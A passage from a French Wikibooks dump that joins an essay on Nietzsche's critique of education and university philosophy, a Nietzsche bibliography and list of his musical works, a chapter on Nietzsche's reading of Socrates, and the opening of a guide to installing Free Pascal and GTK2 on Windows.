qui imprègnent les ''Inactuelles'' au moins autant que la philosophie de Schopenhauer ; Emerson est partout présent dans les ''Inactuelles'', et cela ne doit pas nous étonner si l’on se rend compte que la critique d’Emerson contre les conventions sociales, scolaires, etc. est parfois proche de Schopenhauer. Retenons que, d'une part, Schopenhauer s’attaque à ceux qu’il considère comme des imposteurs ; ces imposteurs, selon lui, profitent d'un état politique donné pour se faire passer pour des autorités philosophiques et occuper les postes importants pour la culture, tout ceci aux services de l’Etat. Et que, d’autre part, Emerson s’attache à montrer comment l’individualité originale et neuve de la jeunesse est étouffée par les conventions, les traditions et la médiocrité des hommes. La culture moderne est ainsi un système de répression au service de puissances étrangères et hostiles à la philosophie. Cette remarque de l'influence d'Emerson est l'occasion de soutenir que, à notre sens, Nietzsche n’a jamais partagé entièrement le pessimisme de Schopenhauer. On peut en effet se demander si Schopenhauer a eu l’influence de fond que l’on dit sur le jeune Nietzsche. C’est ce dont on peut douter, bien qu’il soit incontestable que Nietzsche reprend un grand nombre des pensées de Schopenhauer, au point que certains passages de ses premières œuvres ne soient qu’une simple reformulation des écrits de Schopenhauer. Pourtant, Nietzsche est, selon nous, bien plus marqué par Emerson dans les ''Inactuelles'', celui des ''Essais'' (cf. « La confiance en soi » notamment.) Enfin, dans ces critiques, nous rencontrons également – mais cette fois de manière implicite – l'influence de Platon. C’est en effet chez ce dernier philosophe que nous trouvons la première critique de l’éducation, et cette critique était, comme on sait, dirigée contre les Sophistes. Platon se donne beaucoup de mal pour établir la différence entre le sophiste et le philosophe, différence que nous retrouvons chez Schopenhauer sous la forme de l’opposition du philistin (Nietzsche n’est donc pas, contrairement à ce qu’il prétend, l’inventeur de cette expression) qui se prostitue en vendant une fausse culture et du philosophe authentique qui a le souci de vivre d'abord pour la philosophie, la pensée et la vérité. Néanmoins cette perspective platonicienne, comme le remarque Sara Kofman dans une étude sur la notion de culture dans les ''Inactuelles'', est reformulée par Nietzsche dans la perspective d'une pensée dont on peut qu'elle est l'ébauche de sa philosophie de la volonté de puissance ; c’est ce point décisif qui nous permet de marquer le caractère propre de la pensée de Nietzsche sur l’éducation, en montrant en quoi elle se distingue des fortes influences qu’elle a subies, et cela nous permettra également de suivre l'évolution de sa pensée jusque dans les dernières œuvres. Mais il nous faut d’abord replacer ces premiers écrits dans un thème qui a occupé Nietzsche à cette époque, et qui s’est développé de diverses manières par la suite. Il s’agit de l’idée du philosophe en tant que médecin de la culture : c'est le philosophe médecin qui est ici à l’œuvre, et que l’on peut, jusqu’à un certain point, mettre en parallèle avec Socrate, lequel plaçait ses interlocuteurs en face de leurs contradictions pour leur bénéfice. Nietzsche veut de la même manière amener au jour les problèmes de l’éducation, afin de réformer la culture, d’en rouvrir les chemins qui sont, pour l'essentiel - c’est à cette époque la conviction de Nietzsche - les chemins de l’hellénisme. Cette conviction marquerait le caractère réactionnaire de la perspective de Nietzsche à ce moment, ainsi que le remarque Jean-Louis Backès dans la préface de sa traduction des conférences. Nous montrerons comment cette attitude réactionnaire évoluera dans les œuvres suivantes. Pour le moment, il s’agit, pour Nietzsche, de rétablir la culture dans sa dimension naturelle, ce qui suppose, comme nous le verrons, une idée précise de ce qu’est l’éducation. Comme Socrate, il y a une sorte de volonté de faire naître la contradiction pour en purifier les âmes, par une prise de conscience radicale qui tourne le regard vers soi, vers cet intériorité dont l'homme moderne se détourne douloureusement. Car l’homme moderne est conduit à se détourner de lui-même en raison notamment d’une éducation inadaptée et mutilante, qui produit un état intérieur chaotique et désespérant qu'il dissimule honteusement, qu'il n'a pas le courage d'être. La sincérité inconditionnelle, courageuse et ne se souciant pas des conséquences, i.e. la sincérité du chevalier au regard d’airain, devrait ainsi provoquer un électrochoc salvateur, et permettre de se sortir de ce labyrinthe des valeurs modernes dont l'homme moderne ignore les moyens de se sortir. L’objet de l’examen de Nietzsche, dans ses conférences prononcées vers 1872, ce sont les écoles où nous acquérons la culture, et les tendances qui s’y laissent deviner. Elles ont été instituées dans ce but, et c’est cet esprit originel qu’il faudrait tâcher de poursuivre, car les réformes que le système éducatif a subies ont été nuisibles. Nietzsche admet ici une sorte de mythe de fondation : les modifications qu’a subit l’école a conduit à des errances, nous éloignant de l’esprit qui l’avait fondé. La refondation de l’école devrait permettre de restituer ses intentions premières. Quelles sont ces erreurs ? Ces erreurs sont présentées comme la volonté d’actualiser l’école, de la conformer avec l’air du temps, ce qui signifie d’en faire une école de l’instant, une école du journalisme. Par là, l’école est incontestablement moderne ; alors pourquoi cette modernité est-elle néfaste, et pourquoi faudrait-il une nouvelle naissance pour en rétablir la première tendance ? Ces questions trouvent leur réponse dans les thèses soutenues par Nietzsche à propos des tendances de la culture moderne. Cette époque est marquée par deux tendances de la culture, tendances qui déterminent les moyens d’éducation qui sont mis en place. Les moyens et les méthodes d’éducation moderne sont en effet dominés par deux tendances : d’une part, la tendance à élargir autant que possible la culture ; d’autre part, la tendance à la réduire et à l’affaiblir (Préface). L’existence de ces tendances et leur critique seront toujours soutenues par Nietzsche, depuis les conférences, jusqu’au ''Crépuscule des idoles''. === L'extension de la culture === === L'abandon de la souveraineté de la culture === === Résultats de l'éducation moderne === == Les philistins de la culture == == La philosophie universitaire == « Dieu merci, je ne suis pas philosophe, mais chrétien et citoyen de mon pays ! » Nous avons fait le tableau de la culture allemande et occidentale du XIXème, telle que Nietzsche la perçoit. Nous pouvons à présent en venir au problème centrale de toute pensée sur l'éducation, problème qui est l'objet de notre travail : l'éducation du philosophe. La philosophie est en effet pour Nietzsche le résultat le plus haut de l’éducation, et la question que nous posons est de savoir si le philosophe est encore possible. Nous devons dans ce but parvenir à déterminer s’il existe ou nous une éducation spécifique pour le philosophe, et si oui, quels sont les moyens, quelle image nous pouvons nous former du philosophe. Nous arrivons donc là au problème le plus élevé de toute culture, de toute éducation : le problème de l’apparition du philosophe, mais nous l'envisageons tel qu'il est traité par l'éducation moderne. Ce problème de la survenue du philosophe est au cœur des ''Considérations Inactuelles'' ; Nietzsche traite également de manière critique de l’enseignement de la philosophie dans ses ''Conférences'' et dans la troisième ''Inactuelle'' (en particulier dans les derniers chapitres). Cette critique est, comme toute sa critique de l’éducation, une répétition des critiques de Schopenhauer. On peut, pour exposer cette critique, partir du constat de la dévaluation moderne de la philosophie, de l’état misérable dans lequel la philosophie est tombée : la philosophie moderne est tombée dans le plus grand discrédit, et ce constat est d'autant plus évident si l'on regarde du côté de la philosophie antique. La thèse générale de Nietzsche est que la philosophie universitaire entretient cet état misérable de la philosophie, et que cet état pourrait bien être le but recherché par l’Etat. Comment êut-on expliquer cet état de choses ? Pour répondre à cette question, disons que Nietzsche, dans sa troisième ''Considération Inactuelle'', reprend l'essentiel des critiques de Schopenhauer contre la philosophie universitaire. Or, les critiques de Schopenhauer (''Contre la philosophie universitaire'') se resument au constat que l'on ne peut à la fois servir l'État et la vérité. Plusieurs raisons expliquent cette impossibilité. Tout d'abord, le métier de philosophe subordonne la philsophie aux besoinx, car il faut nourrir femme et enfants, et trouver quelque contentement de soi dans la culture que l'on a acquise. Ce sont là deux besoins de la nature humaine comme le remarque Hobbes, au début du ''Citoyen'' (le besoin de se reproduire et le besoin du sentiment de puissance). Aussi la liberté accordée à l’université par l’Etat est-elle un malentendu : la réalité est que les professeurs sont des hommes qui ont besoin d'un emploi pour manger. Concrètement la situation est donc celle-ci : l’Etat permet à des hommes de vivre en faisant de la philosophie un gagne-pain. Mais l’Etat redoute de tels hommes, et n’oserait sans doute jamais les favoriser. L’Etat craint la philosophie, et cherche en conséquence à se la concilier en rassemblant autour de lui le plus grand nombre possible de philosophes. Le nombre et l'état servile des philosophes permettent de neutraliser la philosophie, en dissimulant la puissance véritable de ce cette dernière. C’est une illusion, dans la mesure où ceux qui s’en réclament n’inspirent aucune crainte. Une autre raison est que lorsque l'État nomme des « philosophes », il le fait pour sa puissance. Il y a un combat entre le philosophe et l’Etat ; le premier cherche la vérité, sans égard pour les conséquences ; le second veut affirmer son existence, et traite en conséquence le philosophe comme un ennemi mortel. En conséquence, celui qui se soumet à l’Etat pour être reconnu philosophe doit en premier lieu renoncer à la vérité, car il reconnaît quelque chose de plus haut que la vérité : l’Etat. Il devra donc reconnaître également des ''vérités'' formulées par l’Etat : une religion particulière, un gouvernement, un ordre social, etc. tout ce que l’Etat lui interdit d’examiner en philosophe authentique. Schopenhauer remarquait que seuls les grands philosophes peuvent garder leur dignité en étant professeur ; et encore Kant était servile vis-à-vis de l’Etat. Car le philosophe d’Etat a d’énormes obligations, et sa vue est restreinte aux intérêts de l’Etat. Nietzsche pose l’alternative suivante : un philosophe fonctionnaire ou bien a pris conscience de ces restriction et est resté fonctionnaire, et dans ce cas, ce n’est pas un ami de la vérité ; ou bien il n’en a pas pris conscience, et dans ce cas ce n’est pas un ami de la vérité. Le philosophe d’Etat n’a de philosophe que le nom. L'influence de l’Etat ne s'arrête pas là : Nietzsche suggère une analyse des conditions de vie du philosophe fonctionnaire particulièrement originale : l'État, quand il rémunère un professeur, fixe le philosophe dans le temps et l'espace, i.e. dans toutes les dimensions de la vie empirique. Il lui assigne ainsi un lieu de vie, une compagnie déterminée, une activité précise à des horaires déterminés. Deux questions surgissent ici : un philosophe peut-il avoir quelque chose à enseigner à horaire fixe ? Ces horaires ne déterminent-ils pas une habitude de pensée extérieure à la pensée philosophique et qui lui nuit ? Les professeurs doivent s’exprimer à des horaires fixes, même s’ils n’en ont aucune envie. Ainsi, la pensée est elle contrainte de se couler dans des formalités qui lui sont extérieures ; le temps de la pensée devient le temps institué par une politique et des lois, ce qui produit une réflexion machinale et impersonnelle. Le philosophe fonctionnaire est finalement obligé de faire semblant de penser pour parvenir à remplir sa fonction d'enseignant, et il devient, même inconsciemment, un comédien de la philosophie, un histrion. Que reste-t-il de la philosophie ? Il reste la ressource pour la philosophie d’être une simple érudition historique. L’origine de l’histoire de la philosophie comme discipline moderne ne serait-elle pas l’Etat ? La connaissance de l’histoire de la philosophie fait un bon philologue, un bon historien, mais pas un penseur ; il n’est pas nécessaire – et il n’est sans doute pas avantageux - de penser pour être professeur de philosophie. L'État a donc tout intérêt à posséder de tels philosophes. Les philistins se sont donc emparés de la philosophie, et font de la philosophie comme ils font de l’histoire ou comme ils lisent les journaux. La philosophie universitaire est nécessairement conformiste, et elle se développe dans une corporation qui génère une perspective morale grégaire (Crép. Id.). Le complot contre la philosophie est un chef-d'œuvre de machiavélisme. Persécutions. Les philosophes formés par l’Etat, c’est-à-dire les mauvais philosophes, sont les pires ennemis du philosophe : ils satisfont leurs besoins mesquins de puissance : et plus ils se sentent puissants, plus ils sentent l'impunité de leur philistinage, plus ils perdent de leur pudeur en affichant leur barbarie de manière éhontée. Dans cette conspiration contre la philosophie, l’influence de l’Etat prend ainsi deux aspects : L’Etat a le rôle de juge : il juge de ce qu’est un bon philosophe, et dans quelles conditions de vie il est un bon philosophe (note : retrouver l’anecdote sur le philosophe antique - avec Denys) ; et il juge du nombre de philosophes dont l’éducation a besoin. L’Etat a ainsi toute autorité en la matière. Quelle sera l'image crée du philosophe ? Les étudiants se font à l’université une conception naïve de la philosophie, et ne sont jamais en mesure d’en percevoir la réelle difficulté. L’amas confus des opinions décourage les étudiants ; les pseudos travaux des philosophes universitaires n’ont aucun caractère scientifique, ils sont ennuyeux, sans vie et sans esprit. On apprend ainsi la haine de la philosophie. Les examens de philosophie sont dans la même veine : il faut imprimer dans les cerveaux tout un tas d’idée, absurdes ou grandioses, dans le plus grand désordre. L’université : rapport d’écoute. Etudiants et professeurs. Les étudiants sont libres d’entendre ce qu’ils ont envie d’entendre. Mais pour éprouver une philosophie, il faut commencer par la vivre. Dans le prolongement du gymnase, l’université ne favorise pas un apprentissage d’une capacité, mais laisse le soin aux étudiants de s’éduquer eux-mêmes, sans guide, sans repères, ce qui exclut toute obéissance bénéfique. Le résultat, c’est que l’on se retrouve avec des jeunes gens sans expérience qui ont dans la tête plusieurs dizaines de systèmes philosophiques réduits à quelques formules abstraites auxquelles ils n’entendent pas grand-chose. Il s’agit de préparation à des examens de philosophie et non de préparation à la philosophie elle-même. Nietzsche soupçonne que le véritable but de l'université est de dégoûter les jeunes gens de la puissance que constitue l'authentique philosophie en les abêtissant. Ainsi, la philosophie universitaire est-elle ennuyeuse, approximative, arbitraire, etc. en bref, une fumisterie de la culture moderne. La vrai philosophie, au contraire, afflige, et le philosophe n'est certainement pas un individu conciliant et complaisant qui se laisse-aller aux divagations de son temps. Mais c'est là un aspect oublié, et l'on s'indignerait sans doute de voir reparaître des philosophes sur le modèle de certains philosophes antiques qui ne ménagaient pas leur contemporains. Au final, les études philosophiques modernes n’affligent plus personne, sauf pour ce qui est du travail forcé que l'on doit accomplir. Qu’est-ce donc alors que le philosophe, le vrai, l’authentique ? car il y a bien là l’idée d’une vie philosophique authentique, singée par des philistins qui cherchent à s’approprier son prestige et sa puissance par l’imitation la plus superficielle. Le monde moderne ne nous apprend pas ce que c'est qu'un philosophe ; il ne donne pas les moyens de travailler à cette idée du philosophe. Ainsi, celui qui désirerait justifier sa vie par ce but serait dans une situation désespérée. Pour remédier à cette situation, Nietzsche propose d'expulser les « philosophes » de l'université, de leur retirer leur traitement pour faire le tri, voire de les persécuter. On verrait ainsi où sont les véritables penseurs, comme l'était Schopenhauer. En conclusion, l’Etat assigne un rythme à la pensée. Cette influence toute formelle est en réalité l’expression de la toute puissance de l’Etat sur la pensée. L’Etat, en ce qui concerne l’éducation, a intérêt à ce que ces citoyens soient des idiots ; cela se retrouve naturellement en philosophie : mieux vaut de faux philosophes, dont les gesticulations sont sans aucune conséquence pour l’existence de l’Etat. == Conclusion == Modèle:Nietzsche 2673 14254 2005-02-24T10:33:12Z Marc 66 {| border="0" cellpadding="0" width="100%" style="background: #f9f9f9" | width="33%"|< {{{1}}} | width="34%" align="center"|'''[[Nietzsche]]''' | width="33%" align="right"|{{{2}}} > |} Bibliographie nietzschéenne 2674 14255 2005-06-06T06:57:08Z Marc 66 {| border="0" cellpadding="0" width="100%" style="background: #f9f9f9" | colspan="3" height="25"|<center>[[Histoire de la philosophie]]</center> |- | width="33%"|'''[[Histoire de la philosophie - Le XIXème siècle|Le XIXème siècle]]''' | width="34%" align="center"|'''[[Friedrich Nietzsche]]''' | width="33%" align="right"| |} == Listes des œuvres de Nietzsche == === Écrits de jeunesse === *''Aus meinem Leben'', 1858 *''Über Musik'', 1858 *''Napoleon III als Praesident'', 1862 *''Fatum und Geschichte'', 1862 *''Willensfreiheit und Fatum'', 1862 *''Kann der Neidische je wahrhaft glücklich sein ?'', 1863 *''Über Stimmungen'', 1864 *''Mein Leben'', 1864 === Philosophie === * ''Homer und die klassische Philologie'', 28 mai 1869 ** [http://wikisource.org/wiki/Homer_und_die_klassische_Philologie Texte allemand] * ''Le Drame musical grec'', conférence donnée le 18 janvier 1870 à Bâle * ''Socrate et la tragédie'', conférence donnée le 1er février 1870 à Bâle * ''La vision dionysiaque du monde'', 1870 ** [http://wikisource.org/wiki/Die_dionysische_Weltanschauung Texte allemand] * ''Sur l'avenir de nos établissements d'enseignement'' (''Über die Zukunft unserer Bildungsantstalten'', conférences) * ''Cinq préfaces à cinq livres qui n'ont pas été écrits'' (''Fünf Vorreden zu fünf ungeschriebenen Büchern''), 1872 : **I ''[http://sources.wikipedia.org/wiki/Über_das_Pathos_der_Wahrheit Über das Pathos der Wahrheit]'' (''La passion de la vérité'') **II ''Gedanken über die Zukunft unserer Bildungsantstalten'' **III ''[http://wikisource.org/wiki/Der_griechische_Staat Der griechische Staat]'' (''L'État grec'') **IV ''Das Verhältnis der Schopenhauerischen Philosophie zu einer deutschen Cultur'' ***[http://wikisource.org/wiki/Das_Verh%C3%A4ltnis_der_Schopenhauerischen_Philosophie_zu_einer_deutschen_Cultur Texte allemand] **V ''Homer's Wettkampf'' (''La joute chez Homère'') ***[http://wikisource.org/wiki/Homer's_Wettkampf Texte allemand] * ''[[La Naissance de la tragédie]] ou Hellénité et pessimisme'' (''Die Geburt der Tragödie''), [[1872]], 1886 pour la préface ''Essai d'autocritique'' * ''Un mot de nouvel An'' (date ?) * ''Appel aux Allemands'', (date ?) * ''Cours de rhétorique'', trimestre d'hiver 1872 - 1873 * ''[[Vérité et mensonge au sens extra-moral]]'' (''Über Wahrheit und Lüge im aussermoralischen Sinn'', inachevé) **[http://wikisource.org/wiki/%C3%9Cber_Wahrheit_und_L%C3%BCge_im_aussermoralischen_Sinn Texte allemand] **[http://wikisource.org/wiki/V%C3%A9rit%C3%A9_et_mensonge_au_sens_extra-moral Texte en français] * ''[[La philosophie à l'époque de la tragédie grecque]]'' (''Die Philosophie im tragischen Zeitalter der Griechen'') * ''[[Considérations inactuelles]]'' (''Unzeitgemässe Betrachtungen'') : **I ''David Strauss, l'apôtre et l'écrivain'', 1873 **II ''De l'utilité et des inconvénients de l'histoire pour la vie'', 1873 ([[Wikisource:De l'utilité et de l'inconvénient des études historiques pour la vie|traduction française sur Wikisource]]) **III ''Schopenhauer éducateur'', 1874 **IV ''Richard Wagner à Bayreuth'', 1876 * ''[[Humain, trop humain]]. Un livre pour esprits libres'' (''Menschliches, Allzumenschliches. Ein Buch für freie Geister'') ([[1878]]) **''Vermischte Meinungen und Sprüche'' **''Der Wanderer und sein Schatten'' * ''[[Aurore]]. Pensées sur les préjugés moraux'' (''Morgenröte. Gedanken über die moralischen Vorurtheile'') ([[1881]]) **[http://wikisource.org/wiki/Morgenr%C3%B6the Texte allemand] * ''[[Le Gai Savoir]] «la gaya scienza»'' (''Die fröhliche Wissenschaft'')([[1882]]) * ''[[Ainsi parlait Zarathoustra|Ainsi parla (ou parlait) Zarathoustra]]. Un livre pour tous et pour personne'' (''Also sprach Zarathustra. Ein Buch für Alle und Keinen''), ([[1885]]) **[http://wikisource.org/wiki/Also_Sprach_Zarathustra Texte allemand] **[http://wikisource.org/wiki/Ainsi_parlait_Zarathoustra Texte en français] * ''[[Par-delà bien et mal]]. Prélude d'une philosophie de l'avenir'' (''Jenseits von Gut und Böse. Vorspiel einer Philosophie der Zukunft'') ([[1886]]) * ''[[Généalogie de la morale]]. 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Les liens donnés ci-dessous proviennent de [http://www.virtusens.de/walther/musik.htm ce site] et de [http://www.nietzscheana.com.ar/musica.htm celui-ci]. *''Allegro'', œuvre pour piano, écrite avant 1858, [http://www.virtusens.de/walther/allegret.wma écouter] *''Hoch tut euch auf'', décembre 1858 *''Einleitung'' (''Introduction''), duo pour piano *''Phantasie'', duo pour piano, fin 1859 *''Miserere'', chœur à cinq voix, été 1860 *''Einleitung'', piano, 1861 *''Huter, ist die Nacht bald hin ?'', chœur, état fragmentaire *''Presto'', duo pour piano *Overture for Strings (?) *Aus der Tiefe rufe ich (?) *String Quartet Piece (?) *Schmerz ist der Grundton der Natur (?) *''Mein Platz vor der Tur'', NWV 1, chant, octobre - novembre 1861, [http://www.virtusens.de/walther/groth1.wav écouter] *''Heldenklage'', pour piano, 1862 *''Klavierstuck'', piano *''Ungarischer Marsch'', piano *''Zigeunertanz'', piano *''Edes titok (Still und ergeben)'', piano, perdu *''Aus der Jugendzeit'', NWV 8, chant, été 1862, [http://www.nietzscheana.com.ar/musica/Nietzsche%20-%20%20Aus%20der%20Jugendzeit.mp3 écouter] *''So lach doch mal'', piano, août 1862 *''Da geht ein Bach'', NWV 10b, [http://www.virtusens.de/walther/groth2.wav écouter] *''Im Mondschein auf der Puszta'', piano, septembre 1862 *''Ermanarich'', piano, septembre 1862 *''Mazurka'', piano, novembre 1862 *''Aus der Czarda'', piano, novembre 1862, [http://www.virtusens.de/walther/Aus_der_Czarda.wma écouter] *''Das zerbrochene Ringlein'', NWV 14, mai 1863, [http://www.nietzscheana.com.ar/musica/Nietzsche%20-%20%20Das%20zerbrochene%20Ringlein.mp3 écouter] *''Albumblatt'', piano, août 1863 *''Wie sich Rebenranken schwingen'', NWV 16, été 1863, voix et piano, [http://www.virtusens.de/walther/fallersl.wav écouter] *''Nachlang einer Sylvestenacht'', violon et piano, 2 janvier 1864, [http://www.nietzscheana.com.ar/musica/Nachklang%20einer%20Sylvesternacht.mp3 écouter] *''Beschwörung'', NWV 20, [http://www.virtusens.de/walther/puschkin.wav écouter] *''Nachspiel'', NWV 21, [http://www.virtusens.de/walther/petoefi1.wav écouter] *''Ständchen'', NWV 22 *''Unendlich'', NWV 23, [http://www.virtusens.de/walther/petoefi2.wav écouter] *''Verwelkt'', NWV 24, [http://www.virtusens.de/walther/petoefi3.wav écouter] *''Ungewitter'', NWV 25, 1864, [http://www.virtusens.de/walther/ungewitt.wma écouter] *''Gern und gerner'', NWV 26, [http://www.virtusens.de/walther/gernundgerner.wma écouter] *''Das Kind an die erloschene Kerze'', NWV 27, [http://www.virtusens.de/walther/Das_Kind.wma écouter] *''Es winkt und neigt sich'', NWV 28, [http://www.virtusens.de/walther/fneswink.wav écouter] *''Die junge Fischerin'', NWV 29, voix et piano, juin 1865, [http://www.nietzscheana.com.ar/musica/Nietzsche%20-%20%20Junge%20Fischerin.mp3 écouter] *0 weint um sie *''Herbstlich sonnige Tage'', pour piano et qutre voix, avril 1867 *''Adel Ich muss nun gehen'', pour quatre voix, août 1870 *Das « Fragment an sich » *''Kirchengeschichtliches Responsorium'', chœur et piano, novembre 1871 *''Manfred Meditation, 1872, [http://www.nietzscheana.com.ar/musica/Manfred-Meditation.mp3 écouter] *''Monodie à deux (Lob der Barmherzigkeit)'', piano, février 1873 *''Hymnus an die Freundschaft'', piano, 29 décembre 1874, [http://www.virtusens.de/walther/hymnus.wav écouter] *''Gebet an das Leben'', NWV 41, 1882, texte de [[Lou Andreas-Salomé]], [http://www.virtusens.de/walther/gebet.wav écouter] *''Hymnus an das Leben'', chœur et orchestre, 1887 === Éditions === *Textes allemands : **édition d'Alfred Kröner (19 volumes) **édition Schlechta **édition Colli-Montinari *Textes français **''Œuvres complètes de Frédéric Nietzsche'', publiées sous la direction de Henri Albert, Paris, Société du Mercure de France ([[Wikisource:Auteur:Friedrich Nietzsche|en cours d'édition sur Wikisource]]) **édition Gallimard, traduction de l'édition Colli-Montinari == Bibliographie détaillée == *Andler Charles, ''Nietzsche, sa vie et sa pensée'', 3 volumes, Paris, N.R.F. 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Statut et structure de la psychologie dans la philosophie de Nietzsche'', Éditions Allia, 1999 *Wotling, Patrick, ''Les questions que les philosophes ne posent pas : l'éthique de la pensée chez Nietzsche'', in ''Un autre Nietzsche'', Jean-Luc Nancy, Paris, 2002 == Discographie == *Friedrich Nietzsche : Compositions of His Mature Years, 2 volumes. Par Lauretta Altman and Wolfgang Bottenberg. Albany Music, 1996 et 1997. *Dietrich Fischer-Dieskau : Lieder. Par Dietrich Fischer-Dieskau et Aribert Reimann. EMI Classics. *Friedrich Nietzsche : Lieder-Klavierwerke-Melodrama. Par Dietrich Fischer-Dieskau. Phillips, 1996. == Documents divers == *[[Bibliothèque (Nietzsche)]] == Internet == *[http://www.hypernietzsche.org/navigate.php?page=base HyperNietzsche, site contenant des essais et les carnets de Nietzsche] *[http://www.geocities.com/thenietzschechannel/ The Nietzsche Channel, les textes allemands] *[http://nietzsche.is.uni-sb.de/index.html Nietzsche Online] *[http://ora-web.swkk.de:7777/swk-db/niebrief/index.html Nietzsche Briefwechsel] *[http://www.virtusens.de/walther/ Nietzsche] *[http://ora-web.swkk.de:7777/swk-db/niebiblio/index.html Nietzsche-Bibliographie, une bibliographie monstrueuse] Nietzsche - Le problème de Socrate 2675 14256 2005-02-23T22:26:28Z Marc 66 {{Nietzsche}} Ce chapitre propose d'examiner le cas de Socrate comme exemple du sage pour qui, selon Nietzsche, ''la vie n'a aucune valeur''. S'il est vrai, comme le soutient Nietzsche, que tous les grands sages n'exprimèrent par leur jugement sur la vie que leur doute et leur lassitude de vivre, de quoi ce consensus est-il l'expression ? Nietzsche évoque deux réponses possibles : *ce consensus doit prouver que la vie ne vaut rien : « la vie n'est qu'une longue maladie ; je dois un coq à Asclépios, le Sauveur. » Voila ce qu'a dit Socrate au moment de mourir ; *ce consensus ne prouve que l'accord des sages en ce qui concerne la vie. La première réponse est rejetée par Nietzsche : des jugements sur la vie n'ont aucune valeur, car ceux qui jugent sont parties du litige. En conséquence, ''la valeur de la vie ne saurait être évaluée'' ; la valeur de la vie n'est pas non plus un problème philosophique. Il reste donc à chercher de quoi ce consensus peut être l'expression. Et pour Nietzsche, ce jugement exprime la fatigue, la lassitude, la maladie, en un mot la ''décadence''. Ce que prouve l'accord des sages, c'est qu'ils souffrent tous des mêmes désordres physiologiques qui les contraignent ''à adopter la même attitude négative à l'égard de la vie''. Ils ne sont pas libres de juger autrement. Nietzsche passe à l'examen du cas de Socrate qui a une valeur de type pour la réflexion sur la dévaluation de la vie par les sages. Il y distingue plusieurs caractèristique physiques, sociales et morales : *Socrate était peuple ; *il est laid, ce qui semble exprimer un développement de tendances contradictoires dues au metissage ; *Socrate est le type du criminel, ce qui est confirmé par le témoignage de Cicéron : un physionomiste dit à Socrate qu'il était un monstre dissimulant les pires vices et les pires appétits ; or, Socrate répondit : « comme vous me connaissez bien ! » Il est donc avéré que Socrate était atteint d'un désordre anarchique des instincts ; c'est un premier indice de décadence. Nietzsche y ajoute : *l'hypertrophie de la faculté logique *la méchanceté d'un rachitique (nous savons en effet que Socrate était extrêmement colérique, voir la Socrate|biographie dans l'article qui lui est consacré) ; *les hallucinations auditives (le ''démon'' de Socrate) ; *son caractère bouffon et caricatural ; *son caractère dissimulé et retors. Par cette recherche des traits de caractère, Nietzsche s'efforce de comprendre comment a pu naître l'étonnante équation : :'''raison = vertu = bonheur''' qui est si peu naturelle et ne correspond pas à la civilisation Hellène. En effet, selon Nietzsche, le goût des Grec, avec Socrate, s'altère au profit de la dialectique ; mais cette dernière ne vaut pas grand chose, car : :« partout où l'autorité est encore de bon ton, partout où l'on ne donne pas des « raisons », mais des ordres, le dialecticien est une sorte de pitre. » Comment Socrate est-il donc parvenu à imposer la dialectique ? Pour Nietzsche, on use de la dialectique que lorsque l'on n'a pas d'autres moyens, c'est une arme de fortune pour ''conquérir son droit de haute lutte''. Il faut donc que cette usage soit l'expression d'une révolte, d'un ressentiment plébéien. Nietzsche formule l'hypothèse que Socrate se vengeait des aristocrates qu'il parvenait à fasciner : la dialectique en effet réduit l'autre à l'impuissance (exemple de la torpille dans le ''Ménon''), et ''laisse le soin à l'adversaire de prouver qu'il n'est pas un crétin''. Mais il reste à expliquer comment Socrate a pu fasciner. En premier lieu, la dialectique a séduit l'instinct agonal des Grecs qui aimaient les joutes physiques et intellectuelles aux connotations érotiques. Mais l'intuition fondamentale de Socrate fut de comprendre que son cas n'était pas isolé ; le monstre qu'il était se cachait partout : il fallait une cure contre la tyrannie des instincts. Or, on sait que Socrate répondit au physionomiste au sujet des pires appétits que ce dernier voyait en lui : : « C'est vrai, mais je les ai tous maîtrisés. » Ainsi Socrate fascinait-il en ce qu'il semblait être une solution, une guérison du mal dont on souffrait. Ce que l'on peut conclure de cet examen du cas de Socrate, c'est que lorsque la raison devient un tyran, elle est une ''planche de salut'' : le désespoir est au fond de la philosophie spéculative grecque. Il fallait ''être raisonnable jusqu'à l'absurde'' pour ne pas sombrer ; toute philosophie morale qui se développe alors a donc des causes pathologiques et se traduit par l'équation citée ci-dessus : pour être heureux, il faut être lucide, rationnel, sinon on sombre dans l'obscurité de l'inconscient, dans le déchainement des instincts. Mais cette médecine socratique est en réalité une illusion ; on n'échappe pas ainsi à la décadence, on ne fait que l'exprimer sous une autre forme. Cette forme consiste à lutter contre ses instincts ; or - avoir besoin de lutter contre ses instincts, c'est la définition de la décadence (l'anarchie vue plus haut). Tant que la vie est ascendante, le bonheur s'identifie à l'instinct. La dernière phrase de Socrate indique peut-être qu'il avait compris ce qu'il en était réellement de sa méthode de ''guérison'' : une duperie de soi. Selon Nietzsche, Socrate, fatigué de vivre, força Athènes à lui donner la cigüe. Que signifie alors ses dernières paroles ? Nietzsche les interpréte ainsi : :« Socrate n'est pas médecin, s'est-il murmuré à lui-même : la mort seule est médecin... Socrate, lui, n'a fait qu'être longtemps malade... » Programmation GTK2 en Pascal - Installation sous Windows 2676 14257 2005-02-24T07:43:49Z Didier 186 {{Programmation GTK2 en Pascal}} == Compilateur Pascal == === Free Pascal === Sur le [http://www.freepascal.org/sdown.html site de Free Pascal], téléchargez le fichier <code>w321010.zip</code> (au 23/02/2005, version stable 1.0.10), la version sans les sources est suffisante (25,1 Mo). Décompactez l'archive dans un répertoire temporaire et lancez <code>install.exe</code>. == En-têtes GTK2 pour le langage Pascal == L'archive <code>gtk2forpascal-1.0.7.tgz</code> est à télécharger sur le site [http://sourceforge.net/projects/gtk2forpascal Gtk2 for Pascal]. Il faut décompresser ensuite l'archive, par exemple dans le répertoire où vous placez vos sources. Avec un <code>WinZip</code> récent ça passe. NB : Il faut éventuellement le faire en deux fois, et renommer le fichier intermédiaire en <code>.tar</code> pour qu'il soit accepté par <code>WinZip</code>. Cela créé un sous-répertoire <tt>gtk2</tt> avec tout ce qu'il faut dedans. == Bibliothèques GTK+ == Sur le [http://www.gimp.org/~tml/gimp/win32/downloads.html site de Gimp], vous devez télécharger les principales bibliothèques nécessaires. Des explications en anglais sont données. Au 23/02/2005, il faut télécharger : * glib-2.4.7.zip * GNU libiconv (libiconv-1.9.1.bin.woe32.zip) * gettext-runtime-0.13.1.zip * gtk+-2.4.14.zip * pango-1.4.1.zip * atk-1.8.0.zip Décompactez ces archives dans un même répertoire. Il faut ensuite mettre à jour la variable d'environnement <code>PATH</code> Sous un windows 2000 ou XP, cela se passe dans le panneau de configuration, choix Système, onglet Avancé, bouton Variables d'environnement. Sélectionnez « path » et le bouton « modifier », ajoutez à la fin un « ; » suivi du répertoire où vous venez de placer toutes les archives, suivi de « \bin ». Par exemple, chez moi, j'ai tout décompacté dans <code>D:\gtk2lib</code>, 